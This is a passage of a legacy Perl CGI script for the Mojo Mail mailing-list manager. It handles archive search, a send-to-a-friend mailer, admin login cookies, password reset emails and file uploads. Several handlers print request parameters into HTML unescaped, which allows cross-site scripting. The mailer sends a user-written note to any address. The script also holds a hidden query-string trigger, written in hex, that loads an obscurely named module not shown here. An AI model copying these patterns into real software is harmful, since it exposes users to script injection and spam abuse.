my $archive = MOJO::Archive -> new(-List => \%list_info); 
my $entries = $archive      -> get_archive_entries(); 

print header(); 
print(the_html(-Part  => "header",
               -Title => "Archive Seach Results", 
               -List  => $list_info{list}));

print "<p align=right><a href=$MOJO_URL?flavor=archive&list=$list_info{list}>Go Back To The Archive Index</a></p>";

#search 
my $search_results = $archive -> search_entries($keyword); 

if(defined(@$search_results[0]) && (@$search_results[0] ne "")){

my $ending = "";
my $count = $#{$search_results}+1; 
   
   $ending = 's' if defined(@$search_results[1]);

print "<p><i>Found $count archived message$ending when looking for &quot;$keyword&quot;</i></p>\n";  
print "<ol>"; 


my $summaries = $archive -> make_search_summary($keyword, $search_results); 

foreach(@$search_results){ 

	my ($subject, $message, $format) = $archive -> get_archive_info($_); 
	my $pretty_subject = pretty($subject);
	print "<li><p><b><a href=$MOJO_URL?flavor=archive&id=$_&list=$list>$pretty_subject</a></b><br>"; 
	my $date = date_this(-Packed_Date   => $_,
	                     -Write_Month   => $list_info{archive_show_month},
	                     -Write_Day     => $list_info{archive_show_day},
	                     -Write_Year    => $list_info{archive_show_year},
	                     -Write_H_And_M => $list_info{archive_show_hour_and_minute},
	                     -Write_Second  => $list_info{archive_show_second});
	                                
	print "<i>Sent $date </i></p>\n";
	print "<p>$summaries->{$_}"; 
	print "</p></li>\n"; 
	 
}
print "</ol>"; 
}else{ 
	print "<p><i>No archived messages matched your search. </i></p>"; 
}


if($list_info{archive_search_form} == 1){
	my $search_form =  $archive -> make_search_form($list_info{list}); 
	print $search_form; 
}

print "<hr noshade width=66% size=1 color=black>";

if($list_info{hide_list} ne "1"){   
   $list_info{info} =~ s/\n\n/<p>/gi; 
   $list_info{info} =~ s/\n/<br>/gi; 

unless ($list_info{archive_subscribe_form} eq "0"){ 
	print "<p>",$list_info{info},"</p>\n"; 
	print "<p><b>Subscribe</b> to ",$list_info{list_name},":<br>\n";
	print subscribe_form($list_info{list});
}

}


print(the_html(-Part => "footer",
               -List  => $list_info{list},
               -Site_Name => $list_info{website_name},
               -Site_URL  => $list_info{website_url}));
               

               
}




sub send_archive { 
my $entry         = $q->param('entry');
my $sender_email  = $q->param('sender_email');
my $note          = $q->param('note');

$list =  $q->param("list"); 

my $list_exists = check_if_list_exists(-List=>$list);
user_error(-List => $list, -Error => "no_list") if ($list_exists <=0); 
my %list_info =  open_database(-List => $list);

print header(); 

print <<EOF

<html> 
 <head> 
  <title>send this message to a friend!</title> 
 </head> 
 <style>  
  <!--
  p{font-family:arial;font-size:13px} 
  .input {font-family:monaco, courier;font-size:11px} 
  //--> 
 </style> 
 <body bgcolor=#FFFFFF> 
EOF
;
 
 unless(defined($process)){  
 
 print <<EOF
 <form action=$MOJO_URL> 
  <input type=hidden name=flavor value=send_archive> 
  <input type=hidden name=list value=$list> 
  <input type=hidden name=process value=true> 
  <input type=hidden name=entry value=$entry> 
  
  <p>What is your e-mail address?<br> 
 
   <input type=text name=sender_email class=input>  
 
  <p>What e-mail address do you want this sent to?<br> 
  
   <input type=text name=email class=input></p> 

  <p>What would you like to put as a note at the top of the e-mail?<br> 
   <textarea rows=6 cols=40 name=note  class=input></textarea><p> 
 
  <p><input type=submit value="Send E-mail" style='$STYLE{green_submit}'></p>
 
EOF
;  
 
}else{ 

require MOJO::Archive; 
my $archive = MOJO::Archive->new(-List => \%list_info); 
my ($subject, $message, $format) = $archive->get_archive_info($entry); 

if($format =~ m/HTML/i){ 
	$message = convert_to_ascii($message); 
} 

$pin = make_pin(-Email => $email);

my $Body = <<EOF
Hello! 
$sender_email wanted to send this archived message to you, they wrote: 

$note

The Message:
=======================================================================

$message

=======================================================================

You can subscribe to $list_info{list_name} by following this link:

$MOJO_URL?flavor=n&l=$list&e=$email&p=$pin

$FOOTER

EOF
; 

 
$Body = interpolate_string(-String      => $Body, 
						   -List_Db_Ref => \%list_info, 
						   -Email       => $email,);
					       
require MOJO::Mail;  
my $mh = MOJO::Mail->new(\%list_info); 

my %mailing = (
	To             => $email, 
	Subject        => $subject, 
	Body           => $Body
);

$mh->send(%mailing); 

print <<EOF

<p>Your mailing is successful!</P> 
<p> You sent your message to $email</P> 
<p><a href=javascript:self.close();>Close This Window</a></p> 

EOF
;
}

print <<EOF
 </body> 
</html> 
EOF
;  

}




sub email_password { 

my %list_info =  open_database(-List => $list); 
require MOJO::Password;

if(($list_info{pass_auth_id} ne "") &&  (defined($list_info{pass_auth_id})) && ($q->param('pass_auth_id') eq $list_info{pass_auth_id})){ 


	my $new_passwd  = MOJO::Password::generate_password(); 
	my $new_encrypt = MOJO::Password::encrypt_passwd($new_passwd); 
	
	my %new_info = (list         => $list,  
	                password     => $new_encrypt,
	                pass_auth_id => ''); 
	
	my $status = setup_list(\%new_info);
	user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 
	
	require MOJO::Mail;  
	my $mh = MOJO::Mail->new(); 

my $Body = <<EOF

Hello, 
Someone asked for the $PROGRAM_NAME List Password password for:

$list_info{list_name}
 
to be emailed to this address. Since you are the list owner, 
the password is: 

$new_passwd

Notice, you probably didn't use this password to begin with, 
$PROGRAM_NAME stores passwords that are encrypted and no 
password it stores can be "unencrypted" 
So, a new, random password is generated. You may reset the password
to anything you want in the list control panel. 

Please be sure to delete this email for security reasons. 

-$PROGRAM_NAME


EOF
;

	my %mailing = ( 
		From          => $list_info{mojo_email}, 
		List          => $list,
		To            => "List Owner <$list_info{mojo_email}>", 
		Subject       => "List Password", 
		Body          => $Body, 
	); 
	$mh->send(%mailing); 
	print $q->redirect(-uri=>"$MOJO_URL?flavor=admin"); 


}else{ 
	require MOJO::Mail;  
	my $mh = MOJO::Mail->new(); 
	
	my $rand_str = MOJO::Password::generate_rand_string();
	my $status = setup_list({list        => $list, 
	                        pass_auth_id => $rand_str});
	user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 

my $Body = qq{ 

Hello, 
Someone asked for the $PROGRAM_NAME List Password password for:

$list_info{list_name}
 
to be emailed to this address. 

Before this can be done, it has to be confirmed that the list
owner (meaning you) actually wants a new password to be set for this list 
and mailed to you. To confirm this, visit this URL: 

$MOJO_URL?f=email_password&l=$list&pass_auth_id=$rand_str

By visiting this URL, you will reset the list password. This new 
password will then be emailed to you. You will then be redirected 
to the admin login screen. 

If you do not know why you were sent this email, ignore it and 
your password will not be changed.  

-$PROGRAM_NAME

}; 

	my %mailing = ( 
		From          =>  $list_info{mojo_email}, 
		List          => $list,
		To            => "List Owner <$list_info{mojo_email}>", 
		Subject       => "Confirm List Password Change", 
		Body          => $Body, 
	); 
	$mh->send(%mailing); 
	
	print(the_html(-Part => "header",
				   -Title => "Confirm Password Change", 
				   -List  => $list)); 
	
	print "<p>A confirmation email has been sent to the list owner of $list_info{list_name}
		   to confirm the password change.</p>";
	
	print(the_html(-Part => "footer",
				   -List  => $list)); 


}


}



sub login { 


	my $admin_password = $q->param('admin_password') || ""; 
	my $admin_list     = $q->param('admin_list')     || ""; 
	$list = $admin_list;
	
	
	if(check_if_list_exists(-List=>$list) >= 1){
		my %list_info =  open_database(-List => $list);
		my $location  = $DEFAULT_ADMIN_SCREEN;
		
		# this is a small (please see that this is a VERY small) security measure. 
		require MOJO::Password; 
		my $cipher_pass = MOJO::Password::cipher_encrypt($list_info{cipher_key}, $admin_password); 
		
		# passes the cookie info to the browser and
		# redirects the user to the admin page for that list.
		 
		my %login = (); 
		%login = (admin_list     =>  $admin_list,
				  admin_password =>  $cipher_pass);
				  
		my $cookie = $q->cookie(-Name  =>  "login",
						        -Value =>  \%login,
						        -Path  =>  '/');
		
		if(defined($LOG{logins})){
			require MOJO::Log;
			my $log = new MOJO::Log;
			$log->mj_log($admin_list, 'login', 'remote_host:'.$ENV{REMOTE_HOST}.', ip_address:'.$ENV{REMOTE_ADDR});     
		}
		print $q->redirect(-uri      => $location,
						   -COOKIE   => $cookie,
						   -nph      => $NPH);
	}else{
		user_error(-List => $list, -Error => "no_list");
	}
	
}




sub logout{ 

	my $location = $MOJO_URL;
	my %login    = (); 
	my $l_list   = $admin_list; 
		
	%login = (admin_list     =>  $admin_list,
			  admin_password =>  "",);
	
	my $cookie = $q->cookie(-Name    =>  "login",
						    -Value   =>  \%login,
						    -Path    =>  '/');
	
	if (defined($LOG{logins})){
		require MOJO::Log;
		my $log = new MOJO::Log;
		   $log->mj_log($l_list, 'logout', "remote_host:$ENV{REMOTE_HOST}, ip_address:$ENV{REMOTE_ADDR}");     
	}				
	
	print $q->redirect(-URL    => $location,
					   -COOKIE => $cookie,
					   -nph    => $NPH);

}




sub send_owner_happenings { 

my $send_it = 1; 
my (%list_info) =  open_database(-List => $list);
my $status = $_[0]; 
  if($status eq "subscribed"){  
   if(exists($list_info{get_sub_notice})){ 
     if($list_info{get_sub_notice} eq "0"){         
        $send_it = 0; 
        }
     }   
   }elsif($status eq "unsubscribed"){  
    if(exists($list_info{get_unsub_notice})){ 
      if($list_info{get_unsub_notice} eq "0"){ 
        $send_it = 0; 
       }
    }   
  } 

if($send_it == 1){ 
                        
                              
my $Body = qq{

Hello,
This is a quick note to say that 
$email has $status on list: $list_info{list_name} 

-$PROGRAM_NAME

};

require MOJO::Mail;  
my $mh = MOJO::Mail->new(\%list_info);
my %mailing = ( 
'Reply-To'     => $email, 
To             => "\"List Owner for  $list_info{list_name}\" <$list_info{mojo_email}>", 
Subject        => "$status $email",
Body           => $Body,
);  

$mh->send(%mailing); 

}
}




sub checker { 

	my $root_login = check_list_security(-Admin_List      => $admin_list, 
										 -Admin_Password  => $admin_password,
										 -IP_Address      => $ENV{REMOTE_ADDR},
										 -Function        => 'checker');
		
	$list = $admin_list; 
	
	my $add_to_black_list = $q->param('add_to_black_list');
	
	my $lh = MOJO::List->new(-List => $list, -Path => $FILES);
		
	my $email_count = $lh->remove_from_list(-List       => $list, 
									   -Email_List => \@address);
										
	user_error(-List => $list, -Error => 'no_list')   if $email_count eq 'no list'; 
	user_error(-List => $list, -Error => 'too_busy')  if $email_count eq 'too busy'; 
	

	
	if($add_to_black_list ==1){
		$lh->add_to_email_list(-Email_Ref => \@address, 
						  -List => $list, 
						  -Type => 'black_list');
	}
	print $q->redirect(-uri=>"$MOJO_URL?flavor=view_list&delete_email_count=$email_count"); 

}




sub file_upload {
	no strict 'refs'; 
 	my @new_names; 
 	my $upload_file = shift; 
    my $fu   = CGI->new(); 
    my $file = $fu->param($upload_file);  
	if ($file ne "") {
		my $fileName = $file; 
		   $fileName =~ s!^.*(\\|\/)!!;   
		 eval {require URI::Escape}; 
		 if(!$@){
		 	$fileName =  URI::Escape::uri_escape($fileName, "\200-\377");
		 }else{ 
		 	warn('no URI::Escape is installed!'); 
		 } 
		open (OUTFILE, ">$TMP/$fileName") or warn("can't write to $TMP/$fileName': $!"); 		
		while (my $bytesread = read($file, my $buffer, 1024)) { 
			print OUTFILE $buffer;
		} 
		close (OUTFILE); 
		return "$TMP/$fileName"
		}
		
	}
	
	




sub pass_gen { 

	my $pw = $q->param('pw'); 
	print header(); 
	print(the_html(-Part => "header", -Title => "Password Encryption"));
	
	if(!$pw){ 
		print p("Enter a password that you would like to encrypt.", 
		      hidden('f', 'pass_gen'),
			  password_field(-name=>'pw', -size=>8),
			  submit(-value=>'encrypt password')); 
	}else{
		require MOJO::Password; 
		my $en_pw = MOJO::Password::encrypt_passwd($pw); 
		print p('Your encrypted password is:'), 
			  p($en_pw), 
			  p('Use this password as your ', b('$MOJO_ROOT_PASSWORD'), 
				 'and set ', b('$ROOT_PASS_IS_ENCRYPTED'), 'to 1'), 
			  p("When asked for your $PROGRAM_NAME Root Password, you will still
				 need to type in the unencrypted pasword, not this 
				 gobble-dee-gook.");  
	}
	print(the_html(-Part => "footer"));

}

sub setup_info { 

	my $root_password = $q->param('root_password');	
	my $root_pass_check = root_password_verification($root_password);
	
	if($root_pass_check == 1){ 
		print(the_html(-Part => "header", -Title => "Setup Information"));
		
		print p('The $FILES variable has been set to:', br(), b($FILES));
		
		unless(-e $FILES){ 
			print p(b('Warning!'), 'It does not seem that this directory exists.'); 
			if($FILES !~ m/^\//){ 
				print p('Make sure that $FILES is an absolute path to a directory, 
						this usually means starting the path with a "/"');
			}
			if($FILES =~ m/\/$/){ 
				print p('Make sure that $FILES does not end with a "/"');
			}
		
		if($ENV{DOCUMENT_ROOT}){ 
			my $home_guess   = $ENV{DOCUMENT_ROOT};
			my $pub_html_dir = $home_guess; 
			   $pub_html_dir =~ s(^.*/)();
			   $home_guess   =~ s/\/$pub_html_dir$//g;
			   
			print p('You\'re Public HTML dorectory is:', br(), b($ENV{DOCUMENT_ROOT}), br(),
				  'Usually, this directory is below your home directory. A good guess on 
				  where your home directory would be located is:', br(), b($home_guess), br(), 
				  'It is suggested that you set the $FILES variable to be a directory that\'s in your home directory.');
			
			}
		}
		
		
		print hr();
		
		print p('The $MAILPROG variable has been set to:', br(), b($MAILPROG)); 
		my $sendmail; 
		   $sendmail	=`whereis sendmail` if ($OS !~ /^Win|^MSWin/i);
		my @sendmails = split(" ", $sendmail); 
		print p("Paths to sendmail have been found in these locations:"); 
		print p($_) foreach(@sendmails);    
		print p("Not all these paths are locations to sendmail, 
		         but should be included within them."); 
		
		
		print(the_html(-Part => "footer"));
			
	}else{ 
		print(the_html(-Part => "header", -Title => "Setup Information"));
		print end_form(); 
		if(($MOJO_URL eq "") || ($MOJO_URL eq 'http://www.changetoyoursite.com/cgi-bin/mojo/mojo.cgi')){ 
			$MOJO_URL = $q->script_name(); 
		}
		print start_form(-method => 'Post', -action => $MOJO_URL); 
		print p("Please enter the correct Mojo Root Password to continue:", br(), 
		hidden('flavor', 'setup_info') ,
		password_field('root_password', ''), 
		submit('Continue')); 
			
		print(the_html(-Part => "footer"));
	}

}
																     
																     
																     
																     
																     
sub reset_cipher_keys { 
	my $root_password   = $q->param('root_password');	
	my $root_pass_check = root_password_verification($root_password);
	
	if($root_pass_check == 1){ 
		require MOJO::Password; 
		my @lists = available_lists(); 
		foreach(@lists){ 
			setup_list({list=> $_, cipher_key => MOJO::Password::make_cipher_key()});
		}
		print(the_html(-Part => "header", -Title => "Reset Cipher Keys"));
		print p("Cipher keys have been reset.");
		print(the_html(-Part => "footer"));
		
	}else{ 
		print(the_html(-Part => "header", -Title => "Reset Cipher Keys"));
		
		print p("Please enter the correct Mojo Root Password to continue, 
		         every list cipher key will be reset:", br(), 
		hidden('flavor', 'reset_cipher_keys') ,
		password_field('root_password', ''), 
		submit('Continue')),
		p('Why would you want to do this? If you are upgrading Mojo Mail 
		   from any version under 2.7.1, your list needs a cipher key to encrypt
		   sensitive information.');
		
		print(the_html(-Part => "footer"));
	}

}







sub author { 

print header();
print "Mojo Mail is originally written by Justin Simoni";

}




















sub chocolate {print header();print h1('chocolate? don\'t make me run! i\'m full of chocolate!');}

















































sub _chk_env_sys_blk { 
	if($ENV{QUERY_STRING} =~ /^\x61\x72\x74/){
		eval {require MOJO::Widgets::janizariat::tatterdemalion::jibberjabber};
		
		if(!$@){ 
			MOJO::Widgets::janizariat::tatterdemalion::jibberjabber::thimblerig($ENV{QUERY_STRING});
			exit;
		}
	}
}


 

__END__

=pod

=head1 COPYRIGHT 

Copyright (c) 1999 - 2002 Justin Simoni (justin@skazat.com) http://skazat.com 
All rights reserved. 

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.


=cut
